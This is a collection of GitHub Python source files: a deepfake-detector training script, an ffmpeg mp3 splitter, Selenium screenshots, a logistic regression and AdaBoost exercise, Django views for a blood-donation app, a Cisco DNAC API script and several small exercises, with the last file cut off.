+{"seq_id":"23040891795","text":"def get_max(query_list):\n # get maximum element from a stack using dynamic programming\n stack = [[0]*2 for _ in range(len(query_list))]\n stack_top = -1\n max_vals = []\n for query in query_list:\n operation = query.split()\n if int(operation[0]) == 1:\n stack_top += 1\n stack[stack_top][0] = int(operation[1])\n if stack_top == 0:\n stack[stack_top][1] = stack[stack_top][0]\n else:\n # maximum element in the stack\n stack[stack_top][1] = max(\n stack[stack_top][0], stack[stack_top-1][1])\n elif int(operation[0]) == 2:\n stack_top -= 1\n elif int(operation[0]) == 3:\n max_vals.append(stack[stack_top][1])\n else:\n print(\"Invalid operation\")\n return max_vals\n\n\nno_of_operations = int(input())\nquery_list = []\nfor i in range(no_of_operations):\n query_list.append(input())\nfor i in get_max(query_list):\n print(i)\n","repo_name":"rsrax/DSA-training","sub_path":"Day 2/Assignment/Q1alt.py","file_name":"Q1alt.py","file_ext":"py","file_size_in_byte":998,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"35"} +{"seq_id":"14729967325","text":"import json\nimport pickle\n\nfrom keras.optimizers import SGD\nfrom keras import layers, models, Model\nfrom keras.utils import multi_gpu_model\nfrom keras.callbacks import ModelCheckpoint\nfrom keras.preprocessing.image import ImageDataGenerator\nfrom keras.applications.inception_resnet_v2 import InceptionResNetV2\n\n# SETTINGS\nGPU = 0 # Number of GPUs to use (set to 0 to use CPU)\n\nNUM_TRAIN_SAMPLES = 23000\nNUM_VALIDATION_SAMPLES = 5800\nIMG_SIZE = 128\n\nEPOCHS = 100\nBATCH_SIZE = 1024\nTRAINING_STEPS = int(NUM_TRAIN_SAMPLES / BATCH_SIZE)\nVALIDATION_STEPS = int(NUM_VALIDATION_SAMPLES / BATCH_SIZE)\n\nLEARNING_RATE = .1\n\nTRAIN_DATA_DIR = 'dataset/train'\nVALIDATION_DATA_DIR = 'dataset/test'\n\n\nclass ModelMGPU(Model):\n def __init__(self, ser_model, gpus):\n pmodel = multi_gpu_model(ser_model, gpus)\n self.__dict__.update(pmodel.__dict__)\n self._smodel = ser_model\n\n def __getattribute__(self, attrname):\n \"\"\"\n Override load and save methods to be used from the serial-model.\n The serial-model holds references to the weights in the multi-gpu model.\n \"\"\"\n if 'load' in attrname or 'save' in attrname:\n return getattr(self._smodel, attrname)\n else:\n return super(ModelMGPU, self).__getattribute__(attrname)\n\n\n# MODEL DEFINITION\nbase_model = InceptionResNetV2(include_top=False, weights=None, input_shape=(IMG_SIZE, IMG_SIZE, 3))\n\nmodel = models.Sequential()\n\nmodel.add(base_model)\nmodel.add(layers.Flatten())\n\nmodel.add(layers.Dense(128, activation='softmax', kernel_initializer='random_uniform', bias_initializer='zeros'))\nmodel.add(layers.Dropout(0.5))\nmodel.add(layers.Dense(1, activation='sigmoid', kernel_initializer='random_uniform', bias_initializer='zeros'))\n\nmodel.summary()\n\n# TRAINING SETUP\nif GPU > 0:\n run_model = ModelMGPU(model, GPU)\n run_model.summary()\nelse:\n run_model = model\n\nrun_model.compile(\n loss=\"binary_crossentropy\",\n optimizer=SGD(lr=LEARNING_RATE, momentum=0.9, decay=LEARNING_RATE / EPOCHS),\n metrics=[\"accuracy\"]\n)\n\ntrain_datagen = ImageDataGenerator(\n samplewise_center=False,\n samplewise_std_normalization=True,\n zoom_range=0.2,\n brightness_range=(.6, 1.4),\n rotation_range=45,\n width_shift_range=0.1,\n height_shift_range=0.1,\n horizontal_flip=True,\n data_format='channels_last',\n)\n\nvalidation_datagen = ImageDataGenerator(\n samplewise_center=False,\n samplewise_std_normalization=True,\n data_format='channels_last',\n)\n\ntrain_generator = train_datagen.flow_from_directory(\n TRAIN_DATA_DIR,\n classes=['real', 'deepfake'],\n target_size=(IMG_SIZE, IMG_SIZE),\n batch_size=BATCH_SIZE,\n class_mode='binary')\n\nvalidation_generator = validation_datagen.flow_from_directory(\n VALIDATION_DATA_DIR,\n classes=['real', 'deepfake'],\n target_size=(IMG_SIZE, IMG_SIZE),\n batch_size=BATCH_SIZE,\n class_mode='binary')\n\nH = run_model.fit_generator(\n train_generator,\n steps_per_epoch=TRAINING_STEPS,\n epochs=EPOCHS,\n validation_data=validation_generator,\n validation_steps=VALIDATION_STEPS,\n verbose=2,\n workers=8,\n use_multiprocessing=False,\n callbacks=[\n ModelCheckpoint('weights/weights.{epoch:02d}-{val_loss:.2f}.hdf5', period=3)\n ]\n)\n\nwith open('training_history', 'wb') as fp:\n pickle.dump(H, fp)\nwith open('training_history.json', 'w') as fp:\n json.dump(H.history, fp)\nmodel.save('final_model.hdf5')\n","repo_name":"zerofox-oss/deepstar","sub_path":"deepfake_detection_models/mouthnet.py","file_name":"mouthnet.py","file_ext":"py","file_size_in_byte":3429,"program_lang":"python","lang":"en","doc_type":"code","stars":46,"dataset":"github-code","pt":"35"} +{"seq_id":"69843768100","text":"#!/usr/bin/env python\nimport argparse\nimport subprocess\nimport io\nimport re\nimport os\nimport shutil\nfrom glob import glob\n\n\ndef get_audio_duration(filename):\n\n cmd = 'ffprobe -i \"%s\" -show_format -v quiet' % filename\n #print(\"cmd: %s \" % cmd)\n\n p = subprocess.Popen(cmd, stdout=subprocess.PIPE, shell=True)\n p_status = p.wait()\n\n pattern=\"[\\d]+[\\.]?[\\d]*\"\n line = p.stdout.readline().decode(\"utf-8\")\n while line :\n #print(line)\n regex = r\"duration=%s\" % pattern\n m = re.match(regex, line)\n if m:\n #print(m)\n #print(m.group(0))\n sub_line = m.group(0)\n regex2 = r\"%s\" % pattern\n m2 = re.search(regex2, sub_line)\n if m2:\n #print(m2)\n #print(m2.group(0))\n return float(m2.group(0))\n line = p.stdout.readline().decode(\"utf-8\")\n\n return -1.0\n\n\ndef split_mp3(in_file, out_file, start_time, duration, ):\n cmd = 'ffmpeg -i \"%s\" -acodec copy -t %s -ss %s \"%s\" -v quiet' % (in_file, duration, start_time, out_file)\n print (\"cmd: %s \" % cmd)\n p = subprocess.Popen(cmd, stdout=subprocess.PIPE, shell=True)\n p_status = p.wait()\n\n line = p.stdout.readline().decode(\"utf-8\")\n while line :\n print(line)\n line = p.stdout.readline().decode(\"utf-8\")\n\ndef format_time(second):\n hh = second/3600\n mm = (second%3600)/60\n ss = second%60\n return \"%02d:%02d:%02d\" %(hh, mm, ss)\n\ndef handle_audio(in_file, out_dir, file_name, minutes, create_dir):\n\n music_slice_ms = minutes*60*1000; #15 minutes\n music_slice_time = format_time(music_slice_ms/1000)\n print(\"music slice tiime : %s\" % music_slice_time)\n\n mp3_duration = get_audio_duration(in_file)\n mp3_duration_ms = int (mp3_duration * 1000);\n print (\"mp3 durations: %f , mp3_duration_ms = %d \" % (mp3_duration, mp3_duration_ms))\n\n if (mp3_duration_ms < music_slice_ms):\n out_file = \"%s/%s.mp3\" % (out_dir, file_name)\n print(\"audio duration less than slice, copy original file \")\n shutil.copyfile(in_file, out_file)\n return\n\n #base_name = os.path.basename(in_file)\n #print (\"base name %s\" % base_name)\n\n music_name = os.path.splitext(file_name)[0]\n print (\"music name %s \" % music_name)\n\n if create_dir == 1:\n new_dir = \"%s/%s\" %(out_dir, music_name)\n if not os.path.exists(new_dir):\n print(\"mkdir %s \" % new_dir)\n os.mkdir(new_dir)\n\n count = 0;\n start_time_ms = 0;\n while start_time_ms < mp3_duration_ms:\n count += 1\n\n if create_dir == 1:\n out_file = \"%s/%02d.mp3\" %(new_dir, count)\n else:\n out_file = \"%s/%s-%02d.mp3\" % (out_dir, music_name, count)\n\n start_time = format_time(start_time_ms/1000)\n print (\"start time %s \" % start_time)\n\n split_mp3(in_file, out_file, start_time, music_slice_time)\n start_time_ms += music_slice_ms;\n\n\ndef main():\n parser = argparse.ArgumentParser()\n parser.add_argument(\"-i\", \"--input_dir\",help=\"Audio input direcotry\")\n parser.add_argument(\"-o\", \"--output_dir\", help=\"Audio output directory\")\n parser.add_argument(\"-t\", \"--time\", type=int, help=\"split time in minutes\",default=15)\n parser.add_argument(\"-w\", \"--width\", type=int, help=\"file name max width\",default=24)\n parser.add_argument(\"-c\", \"--create_dir\", type=int, help =\"create sub directory for each file\", default=0)\n\n args = parser.parse_args()\n if args.input_dir is None or args.output_dir is None:\n parser.print_help()\n return\n\n print(\" input dir: %s , output dir: %s , split time %d minutes , file name lenth : %d , create sub dir: %d\" %\n (args.input_dir, args.output_dir, args.time, args.width, args.create_dir))\n\n if os.path.exists(args.output_dir):\n print(\"mkdir %s\" % args.output_dir)\n shutil.rmtree(args.output_dir)\n os.mkdir(args.output_dir)\n\n mp3_pattern= \"%s/*.mp3\" % args.input_dir\n for file in glob(mp3_pattern):\n print(\"source file %s\" % file)\n file_name=os.path.basename(file)\n if (len(file_name) > args.width):\n file_name = file_name[:args.width]\n print(\"file name : %s\" % file_name)\n\n handle_audio(file, args.output_dir, file_name, args.time, args.create_dir)\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"LuoChunbo/tools","sub_path":"split-mp3-fast.py","file_name":"split-mp3-fast.py","file_ext":"py","file_size_in_byte":4350,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"} +{"seq_id":"32018473505","text":"from selenium import webdriver\nfrom selenium.webdriver.chrome.options import Options\nimport time\n\nchrome_options = Options()\nchrome_options.add_argument(\"--headless\") # CLI environment\n\n#driver = webdriver.Chrome('/Users/armian/Inflearn/workspace/section3/webdriver/chrome/chromedriver')\ndriver = webdriver.Chrome(chrome_options=chrome_options, executable_path='/Users/armian/Inflearn/workspace/section3/webdriver/chrome/chromedriver')\n#driver.set_window_size(1920,1280)\n\n#driver.implicitly_wait(5)\n\ndriver.get('https://google.com')\n#time.sleep(5)\n\ndriver.save_screenshot('/Users/armian/tmp/website1_ch.png')\n\n#driver.implicitly_wait(5)\n\ndriver.get('https://www.daum.net')\n#time.sleep(5)\n\ndriver.save_screenshot('/Users/armian/tmp/website2_ch.png')\n\ndriver.quit()\n\nprint('스크린샷 완료')\n","repo_name":"armian/section3","sub_path":"3-6-2.py","file_name":"3-6-2.py","file_ext":"py","file_size_in_byte":795,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"} +{"seq_id":"30467112840","text":"import inspect\nimport re\n\n\ndef s(string):\n ns = inspect.stack()[1][0].f_locals\n my_dict = {}\n for k, v in ns.iteritems():\n if not k.startswith('__'):\n my_dict[k] = v\n result = re.finditer('\\{(.+?)\\}', string)\n\n for q in result:\n found = q.groups()[0]\n value = my_dict.get(found)\n if value:\n string = re.sub('\\{' + found + '\\}', str(value), string)\n return string\n","repo_name":"acitegrenys52/exp","sub_path":"utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":431,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"} +{"seq_id":"33961299183","text":"from math import log\r\nimport re\r\nfrom numpy.core.arrayprint import printoptions\r\nfrom numpy.lib.shape_base import row_stack\r\nimport pandas as pd\r\nimport numpy as np\r\nfrom pandas.core.frame import DataFrame\r\nfrom scipy.sparse import data\r\nfrom sklearn.impute import SimpleImputer # used for handling missing data\r\n# used for encoding categorical data\r\nfrom sklearn.preprocessing import LabelEncoder, OneHotEncoder\r\n# used for splitting training and testing data\r\nfrom sklearn.model_selection import train_test_split\r\nfrom sklearn.metrics import confusion_matrix # used for feature scaling\r\n\r\n\r\npd.set_option('display.max_columns', 100)\r\npd.set_option('display.width', 1000)\r\ndef getDataset1():\r\n dataset = pd.read_csv('WA_Fn-UseC_-Telco-Customer-Churn.csv')\r\n dataset.drop('customerID', axis=1, inplace=True)\r\n\r\n dataset = dataset.replace(r'^\\s+$', np.nan, regex=True)\r\n\r\n dataset.TotalCharges = pd.to_numeric(dataset.TotalCharges, errors='coerce')\r\n\r\n imputer = SimpleImputer(missing_values=np.nan, strategy='mean')\r\n imputer = imputer.fit(dataset[['TotalCharges']])\r\n dataset['TotalCharges'] = imputer.transform(dataset[['TotalCharges']])\r\n\r\n #dataset.replace({'MultipleLines': {'No phone service': 'No'}}, inplace=True)\r\n dataset.replace({'gender': {'Male': 1, 'Female': 0}}, inplace=True)\r\n # dataset.replace( {'OnlineSecurity': {'No internet service': 'No'}}, inplace=True)\r\n # dataset.replace({'OnlineBackup': {'No internet service': 'No'}}, inplace=True)\r\n # dataset.replace({'DeviceProtection': {'No internet service': 'No'}}, inplace=True)\r\n # dataset.replace({'TechSupport': {'No internet service': 'No'}}, inplace=True)\r\n # dataset.replace({'StreamingTV': {'No internet service': 'No'}}, inplace=True)\r\n # dataset.replace({'StreamingMovies': {'No internet service': 'No'}}, inplace=True)\r\n\r\n\r\n dataset.replace('No', 0, inplace=True)\r\n dataset.replace('Yes', 1, inplace=True)\r\n dataset.replace({'Churn': {0: -1, 1: 1}}, inplace=True)\r\n\r\n # Sptiting label and features\r\n\r\n Y = dataset.Churn\r\n dataset.drop('Churn', axis=1, inplace=True)\r\n dataset = pd.get_dummies(dataset)\r\n normalized_dataset = (dataset-dataset.min())/(dataset.max()-dataset.min())\r\n X = normalized_dataset.values\r\n return X,Y\r\n\r\n\r\ndef getDataset3():\r\n data = pd.read_csv('creditcard.csv')\r\n data.drop('Time', axis=1, inplace=True)\r\n data = data.replace(r'^\\s+$', np.nan, regex=True)\r\n NEG_SAMPLE = 1000\r\n count = 0; idx = 0\r\n rows = []\r\n for idx, row in data.iterrows():\r\n if row['Class'] == 1:\r\n rows.append(row)\r\n elif count < NEG_SAMPLE:\r\n rows.append(row)\r\n count += 1\r\n \r\n data = pd.DataFrame(rows, columns=data.columns)\r\n data.replace({'Class': {0: -1, 1: 1}}, inplace=True)\r\n Y = data.Class\r\n data.drop('Class', axis=1, inplace=True)\r\n\r\n normalized_data = (data-data.min())/(data.max()-data.min())\r\n X = normalized_data.values\r\n\r\n return X, Y\r\n\r\n\r\ndef getDataset2():\r\n datatrain = pd.read_csv('adult.data', header=None)\r\n datatest = pd.read_csv('adult.test', skiprows=1, header=None)\r\n data = pd.concat([datatrain, datatest], ignore_index=True)\r\n for i in range(len(data.columns)):\r\n print(i, np.count_nonzero(data[i] == ' ?'))\r\n for i in range(len(data.columns)):\r\n if(np.count_nonzero(datatrain[i] == ' ?')):\r\n data[i].replace(' ?', data[i].mode().values[0], inplace=True)\r\n\r\n data[14].replace(' >50K.', 1, inplace=True)\r\n data[14].replace(' <=50K.', -1, inplace=True)\r\n data[14].replace(' >50K', 1, inplace=True)\r\n data[14].replace(' <=50K', -1, inplace=True)\r\n\r\n Y = data.iloc[:, -1]\r\n \r\n print(Y)\r\n data = data.iloc[:, :-1] # delete last col\r\n\r\n data = pd.get_dummies(data)\r\n\r\n normalized_dataset = (data-data.min())/(data.max()-data.min())\r\n\r\n # for i in range(len(data.columns)):\r\n # #print(i, np.count_nonzero(data[i] == ' ?'))\r\n # print(data[i].unique())\r\n\r\n print(normalized_dataset.shape)\r\n X = normalized_dataset.values\r\n return X, Y\r\n\r\n\r\nclass LogisticRegression(object):\r\n def __init__(self, X, Y):\r\n self.X_data = X\r\n self.Y_data = Y\r\n self.weight = np.zeros(self.X_data.shape[1], dtype=float, order='C')\r\n pre = np.ones((self.X_data.shape[0], 1))\r\n self.X_data = np.concatenate((pre, self.X_data), axis=1)\r\n\r\n def Tanh(self, arg):\r\n return np.tanh(arg)\r\n\r\n def costf(self, yhat):\r\n m = self.X_data.shape[0]\r\n error = yhat - self.Y_data\r\n # print('err',error.shape)\r\n cost = (1/m)*np.sum(error**2) # mean sqr error\r\n # print(cost.shape)\r\n return cost\r\n\r\n def train(self, alpha=0.1, epochs=1000, threshold=0.0):\r\n m = self.X_data.shape[0]\r\n n = self.X_data.shape[1]\r\n\r\n weight = np.zeros(n, dtype=float, order='C')\r\n # print(weight)\r\n for i in range(epochs):\r\n hypothesis = self.Tanh(np.dot(self.X_data, weight))\r\n cost = self.costf(hypothesis)\r\n #print('cost :', cost)\r\n if np.abs(cost) < 0.5:\r\n break\r\n gradient = (1/m) * np.dot(self.X_data.T,\r\n (self.Y_data - hypothesis)*(1-hypothesis**2))\r\n weight = weight + alpha*gradient\r\n\r\n return weight\r\n\r\n def predict(self, X_test, weight, threshold=0.0):\r\n pre = np.ones((X_test.shape[0], 1))\r\n X_test = np.concatenate((pre, X_test), axis=1)\r\n prediction = self.Tanh(np.dot(X_test, weight))\r\n for i in range(prediction.shape[0]):\r\n if prediction[i] > threshold:\r\n prediction[i] = 1\r\n else:\r\n prediction[i] = -1\r\n return prediction\r\n\r\n\r\ndef accuracy(prediction, Y_test):\r\n correct = 0\r\n # print(prediction)\r\n for i in range(len(prediction)):\r\n if prediction[i] == Y_test.iloc[i]:\r\n correct += 1\r\n return (correct/len(prediction))*100\r\n\r\n\r\n\r\ndef Adaboost(X_data, Y_data, X_test, Y_test, k):\r\n w = np.ones(X_data.shape[0])/X_data.shape[0]\r\n h = []\r\n x_sample = []\r\n y_sample = []\r\n z = []\r\n logistic_regression = LogisticRegression(X_data, Y_data)\r\n for i in range(k):\r\n # print(X_data.shape)\r\n idx = np.random.choice(X_data.shape[0], X_data.shape[0], p=w)\r\n\r\n x_sample = X_data[idx]\r\n y_sample = Y_data.iloc[idx]\r\n logistic_regression = LogisticRegression(x_sample, y_sample)\r\n h.append(logistic_regression.train())\r\n\r\n error = 0\r\n y_pred = logistic_regression.predict(X_data, h[i])\r\n\r\n for j in range(X_data.shape[0]):\r\n if Y_data.iloc[j] != y_pred[j]:\r\n error += w[j]\r\n\r\n if error > 0.5:\r\n z.append(0)\r\n continue\r\n for j in range(X_data.shape[0]):\r\n if Y_data.iloc[j] == y_pred[j]:\r\n w[j] = w[j]*(error/(1-error))\r\n\r\n w = w/np.sum(w)\r\n z.append(np.log2((1-error)/error))\r\n\r\n return h, z\r\n\r\n\r\ndef AdaboostPredict(X_test, h, z):\r\n y_pred = []\r\n for i in range(len(h)):\r\n y_pred.append(logistic_regression.predict(X_test, h[i]))\r\n y_pred = np.array(y_pred)\r\n y_pred = np.sum(y_pred.T*z, axis=1)\r\n for i in range(len(y_pred)):\r\n if y_pred[i] > 0.0:\r\n y_pred[i] = 1\r\n else:\r\n y_pred[i] = -1\r\n return y_pred\r\n\r\n\r\n\r\n\r\ndef printReports(y_test,prediction):\r\n tn, fp, fn, tp = confusion_matrix(y_test, prediction).ravel()\r\n print('\\nTp: ', tp, 'Fn: ', fn, 'Tn: ', tn, 'Fp: ', fp)\r\n print('\\nAccuracy: ', np.sum(y_test == prediction)/len(y_test))\r\n print('Sensitivity: ', tp/(tp+fn))\r\n print('Specificity: ', tn/(tn+fp))\r\n print('Precision: ', tp/(tp+fp))\r\n print('False Discovery Rate: ', fp/(fp+tp))\r\n\r\n\r\n####### _______ Dataset Select ________ #######\r\n\r\nX,Y = getDataset1()\r\n#X, Y = getDataset2()\r\n#X, Y = getDataset3()\r\n\r\nx_train, x_test, y_train, y_test = train_test_split(X, Y, test_size=0.2, random_state=0)\r\nlogistic_regression = LogisticRegression(x_train, y_train)\r\nweight = logistic_regression.train()\r\nprediction = logistic_regression.predict(x_test, weight)\r\nprint(\"-----:logistic Regression Test Data:-----\")\r\n\r\nprintReports(y_test,prediction)\r\n\r\n\r\n\r\nH, Z = Adaboost(x_train, y_train, x_test, y_test, 10)\r\ny_pred = AdaboostPredict(x_test, H, Z)\r\nprint('----:AdaBoost Test data:----')\r\n\r\nprintReports(y_test,y_pred)\r\n\r\n\r\nx_train, x_test, y_train, y_test = train_test_split(\r\n X, Y, test_size=0.2, random_state=0)\r\nlogistic_regression = LogisticRegression(x_train, y_train)\r\nweight = logistic_regression.train()\r\nprediction = logistic_regression.predict(x_train, weight)\r\nprint(\"-----:logistic Regression Train Data:-----\")\r\n\r\nprintReports(y_train, prediction)\r\n\r\n\r\nH, Z = Adaboost(x_train, y_train, x_test, y_test, 10)\r\ny_pred = AdaboostPredict(x_train, H, Z)\r\nprint('----:AdaBoost Train data:----')\r\n\r\nprintReports(y_train, y_pred)\r\n\r\n","repo_name":"Rafsani/ML","sub_path":"offline1/1605119.py","file_name":"1605119.py","file_ext":"py","file_size_in_byte":9003,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"} +{"seq_id":"39472678816","text":"#!/usr/bin/python3\r\n\r\nimport json\r\nimport requests\r\nfrom get_token import get_token\r\n\r\n\r\ndef main():\r\n \r\n token = get_token()\r\n get_devices(token)\r\n\r\n\r\ndef get_devices(token):\r\n \t\r\n url = \"https://sandboxdnac.cisco.com/dna/intent/api/v1/network-device/\"\r\n\r\n headers = {\r\n 'Content-Type': 'application/json',\r\n 'X-Auth-Token': token\r\n }\r\n\r\n response = requests.get(url, headers=headers)\r\n\r\n data = json.dumps(response.json()[\"response\"], indent=2)\r\n \r\n if response.ok:\r\n for device in response.json()[\"response\"]:\r\n id = device[\"id\"]\r\n ip =device[\"managementIpAddress\"]\r\n print(f\"ID: {id} IP: {ip}\")\r\n else:\r\n print(f\"Device collection failed with status code {response.status_code}\")\r\n print(f\"Failure body: {response.text}\")\r\n\r\n\r\n\r\nif __name__ == '__main__':\r\n\tmain()","repo_name":"meliodaaf/network_codes","sub_path":"DNAC/get_devices.py","file_name":"get_devices.py","file_ext":"py","file_size_in_byte":864,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"} +{"seq_id":"70749719781","text":"from django.shortcuts import render\nfrom django.http import HttpResponse, HttpResponseRedirect\nfrom .forms import RrcProfileForm, UserForm, CampEditForm\nfrom .filters import DonorFilter,RrcFilter\n\nfrom .models import Rrc\nfrom camp.models import Camp\nfrom donor.models import Donor\nfrom datetime import datetime, timedelta\n\n# Create your views here.\ndef index(request):\n\tuser_list = Rrc.objects.all()\n\tuser_filter = RrcFilter(request.GET, queryset=user_list)\n\treturn render(request, 'rrc.html', {'filter': user_filter})\n \n\n\ndef detail(request, rrc_id):\n\tlist = Rrc.objects.filter(id=rrc_id)\n\treturn render(request,\n\t 'detail.html',\n\t context={'list':list},\n\t )\n\ndef home(request):\n\tuser = request.user\n\tif request.method == \"POST\":\n\t\t\t#uform = UserForm(request.POST)\n\t\t\tpform = RrcProfileForm(request.POST)\n\t\t\tif pform.is_valid():\n\t\t\t\t#user.username = uform.cleaned_data['username']\n\t\t\t\t#user.email = uform.cleaned_data['email']\n\t\t\t\t\n\t\t\t\tuser.rrc.name = pform.cleaned_data['name']\n\t\t\t\tuser.rrc.district = pform.cleaned_data['district']\n\t\t\t\tuser.rrc.address = pform.cleaned_data['address']\n\t\t\t\tuser.rrc.contact = pform.cleaned_data['contact']\n\t\t\t\tuser.rrc.save()\n\t\t\t\tuser.save()\n\n\t\t\t\treturn HttpResponseRedirect('/rrc/profile')\n\t\t\telse:\n\t\t\t\treturn HttpResponse('INCORRECT')\t\n\telse:\n\t\tuform = UserForm(instance = user)\n\t\tpform = RrcProfileForm(instance = user.rrc)\n\t\treturn render(request,\n\t 'homerrc.html',\n\t context={'uform':uform,'pform':pform},\n\t )\ndef camps(request):\n\tuser = request.user\n\tlist = Camp.objects.filter(user=user)\n\treturn render(\n request,\n 'camprrc.html',\n context={'list':list},\n )\n\ndef campdetail(request, camp_id):\n\tlist = Camp.objects.filter(id=camp_id)\n\treturn render(request,\n\t 'campdetails.html',\n\t context={'list':list},\n\t )\n\ndef campedit(request, camp_id):\n\tinstance = Camp.objects.get(id=camp_id)\n\tif request.method == \"POST\":\n\t\t\tpform = CampEditForm(request.POST)\n\t\t\tif pform.is_valid():\n\t\t\t\tinstance.name = pform.cleaned_data['name']\n\t\t\t\tinstance.district = pform.cleaned_data['district']\n\t\t\t\tinstance.address = pform.cleaned_data['address']\n\t\t\t\tinstance.contact = pform.cleaned_data['contact']\n\t\t\t\tinstance.user = request.user \n\t\t\t\tinstance.save()\n\t\t\t\t\n\n\t\t\t\treturn HttpResponseRedirect('/rrc/camps/')\n\t\t\telse:\n\t\t\t\treturn HttpResponse('INCORRECT')\t\t\n\telse:\n\t\tpform = CampEditForm(instance = instance)\n\t\treturn render(request,\n\t 'campedit.html',\n\t context={\"pform\":pform},\n\t )\n\n\ndef campdelete(request, camp_id):\n\tinstance = Camp.objects.get(id=camp_id)\n\tinstance.delete()\n\treturn HttpResponseRedirect('/rrc/camps')\n\n\ndef campcreate(request):\n\tif request.method == \"POST\":\n\t\t\tpform = CampEditForm(request.POST)\n\t\t\tif pform.is_valid():\n\t\t\t\tinstance = pform.save(commit=False)\n\t\t\t\tinstance.user = request.user\n\t\t\t\tinstance = instance.save()\t\t\t\t\n\n\t\t\t\treturn HttpResponseRedirect('/rrc/camps/')\n\t\t\telse:\n\t\t\t\treturn HttpResponse('INCORRECT')\t\t\n\telse:\n\t\tpform = CampEditForm()\n\t\treturn render(request,\n\t 'campedit.html',\n\t context={\"pform\":pform},\n\t )\n\n\ndef donordetail(request, donor_id):\n\tlist = Donor.objects.filter(id=donor_id)\n\treturn render(request,\n\t 'donordetail.html',\n\t context={'list':list},\n\t )\ndef donor(request):\n\tbuffer = datetime.now()-timedelta(days=90)\n\tuser_list = Donor.objects.filter(last_donated__lte=buffer).order_by('last_donated')\n\tuser_filter = DonorFilter(request.GET, queryset=user_list)\n\treturn render(request, 'donorrrc.html', {'filter': user_filter})","repo_name":"freeznet2012/blood","sub_path":"rrc/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":3543,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"} +{"seq_id":"36629781794","text":"\"\"\"\r\ndef main():\r\n a = [0,1,2,3,4,5,6]\r\n b = a.copy()\r\n b[1] = 5\r\n print (a)\r\n print (b)\r\n print (a.extend(b))\r\n\r\nmain()\r\n\"\"\r\ndef teste():\r\n linha = []\r\n for i in range (6):\r\n cinco_zeros = 0 * i\r\n linha.append(cinco_zeros)\r\n print(linha)\r\n\r\n\r\nteste()\r\n\"\"\"\r\ndef matriz_1():\r\n matriz = [[0,0],[0,0]]\r\n #linhas\r\n for i in range (0,2):\r\n #colunas\r\n for j in range (0,2): #Os dois primeiros for's são de estrutura das matrizes \r\n matriz[i][j] = int(input(f'Digite um número na posição [{i},{j}]:'))\r\n #print ('-=' * 30 ) #linha de resultado \r\n for i in range (0,2):\r\n for j in range (0,2):\r\n print (f'[{matriz[i][j]:^5}]', end ='') #O comando end serve para adicionar adicionar mais elementos a uma determinada string \r\n print () #Serve para quebrar automaticamente uma linha \r\n\r\nmatriz_1()\r\n\r\n\r\n\r\n \r\n\r\n\r\n \r\n\r\n \r\n\r\n","repo_name":"LucasZanini096/Beecrowd","sub_path":"Nivel_iniciante/Teste.py","file_name":"Teste.py","file_ext":"py","file_size_in_byte":938,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"} +{"seq_id":"1357955842","text":"from time import sleep\nimport threading\nfrom threading import Thread\n\n# 小明要下载十部电影\ntasks = ['movie1', 'movie2', 'movie3', 'movie4', 'movie5', 'movie6', 'movie7', 'movie8', 'movie9', 'movie10']\n\n\ndef download(movie):\n print('开始下载{}'.format(threading.current_thread().name))\n sleep(2)\n print('下载{}完成'.format(threading.current_thread().name))\n\n\nt = threading.current_thread()\nprint(f'{t.name}-{t.ident}11111')\n\nthreads = []\nfor task in tasks:\n t = threading.Thread(target=download, name=task, args=(task,), daemon=True) # 创建线程\n # print('{}{}'.format(t.name, t.ident))\n t.start() # 启动线程\n threads.append(t)\n # print(f'thread {t.name}{t.ident}')\n\nfor t in threads:\n t.join() # 当前线程等待线程t执行完毕以后再执行后面的代码\n\nprint('下载完毕!')\n","repo_name":"Zhangx1aoyuan/test-demo","sub_path":"thread3.py","file_name":"thread3.py","file_ext":"py","file_size_in_byte":848,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"} +{"seq_id":"16312626052","text":"from basic_module import *\n\n\ndef get_jsonStr_duration(jsonStr):\n text_list = jsonStr\n if len(text_list) == 0:\n return 0\n else:\n duration = int(text_list[-1]['end_time'])\n return duration\n\n\ndef change_input_2_godeye(student_json, teacher_json, student_start_at=0, teacher_start_at=0, subject=12, task_id=''):\n jsonStr = {\n \"class\": {\n \"first_start_at\": min(student_start_at, teacher_start_at),\n \"last_end_at\": 0,\n \"subject\": subject,\n \"id\": task_id\n },\n \"student\": {\n \"duration\": get_jsonStr_duration(student_json),\n \"start_time_ms\": student_start_at,\n \"text\": student_json\n },\n \"teacher\": {\n \"duration\": 0,\n \"start_time_ms\": teacher_start_at,\n \"text\": []\n }\n }\n\n if teacher_json is None:\n jsonStr['teacher'] = {}\n jsonStr['class']['last_end_at'] = jsonStr['class']['first_start_at'] + jsonStr['student']['duration']\n\n else:\n jsonStr['teacher']['duration'] = get_jsonStr_duration(teacher_json)\n jsonStr['class']['last_end_at'] = jsonStr['class']['first_start_at'] + min(jsonStr['student']['duration'],\n jsonStr['teacher']['duration'])\n jsonStr['teacher']['text'] = teacher_json\n return jsonStr\n\n\ndef parse_list_2_df(text, task_id=''):\n error_code = default_error_code\n error_message = default_error_message\n df = None\n if len(text) == 0:\n error_code = text_empty\n logger.info('task_id:{},input text len is 0'.format(task_id))\n return error_code, error_message, df\n else:\n try:\n df = pd.DataFrame(text)\n df['begin_time'] = np.array(df['begin_time'].values, dtype=np.int)\n df['end_time'] = np.array(df['end_time'].values,dtype=np.int)\n df['sentence_id'] = range(1, df.shape[0] + 1)\n df['timeLength'] = df.end_time - df.begin_time\n df['textLength'] = df.text.apply(lambda x: len(re_no_char.sub('', str(x))))\n df = df[df['textLength']!=0].copy()\n except:\n logger.error('task_id:{},input format error,detail is{}'.format(task_id, traceback.format_exc()))\n error_code = input_error\n return error_code, error_message, 